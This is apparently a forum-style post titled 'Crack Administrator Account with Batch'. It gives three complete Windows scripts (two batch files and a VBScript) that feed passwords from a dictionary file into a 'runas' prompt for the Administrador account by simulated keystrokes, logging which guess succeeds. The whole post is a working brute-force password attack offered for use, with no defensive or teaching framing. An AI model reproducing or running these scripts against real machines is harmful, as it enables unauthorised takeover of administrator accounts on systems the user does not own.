Crack Administrator Account with Batch

:::File 1 BF_Attack.bat (run this):::

@Echo Off
@Title BF Attack
::by SmartGenius, Corp. 2012

Cls

:Init
Set /p "Var=  Iniciando"<nul
For /f "tokens=*" %%p in (Dic.txt) do (
Cscript /nologo Rdm.vbs %%p
Set /p "Var=."<nul
Ping -n 1 localhost >nul
)
Echo.
Echo.  Finalizado.
Echo.  Revise el archivo Result.txt
Echo.
Pause
Exit

::: END FILE 1 ::

:: File 2 Rdm.vbs :::

'by SmartGenius
Set WSmart=CreateObject("WScript.Shell")
WSmart.Run "PTray.bat" & " " & WScript.Arguments(0),1
Wscript.Sleep 100
Pass=WScript.Arguments(0)
WSmart.Sendkeys Pass & "~"
Wscript.Sleep 100

:: END FILE 2 ::

::: File 3 PTray.bat :::

@Echo Off
::by SmartGenius
Runas /noprofile /user:Administrador cmd 2>nul
If Not ["%Errorlevel%"]==["0"] (
Echo.Clave Incorrecta = "%~1" >>Result.txt
) else (
Echo.Clave Correcta = "%~1" !!! >>Result.txt
)
Exit /b %errorlevel%

:: END FILE 3 ::::


Create a Dic.txt with diferent passwords to try with the administrator account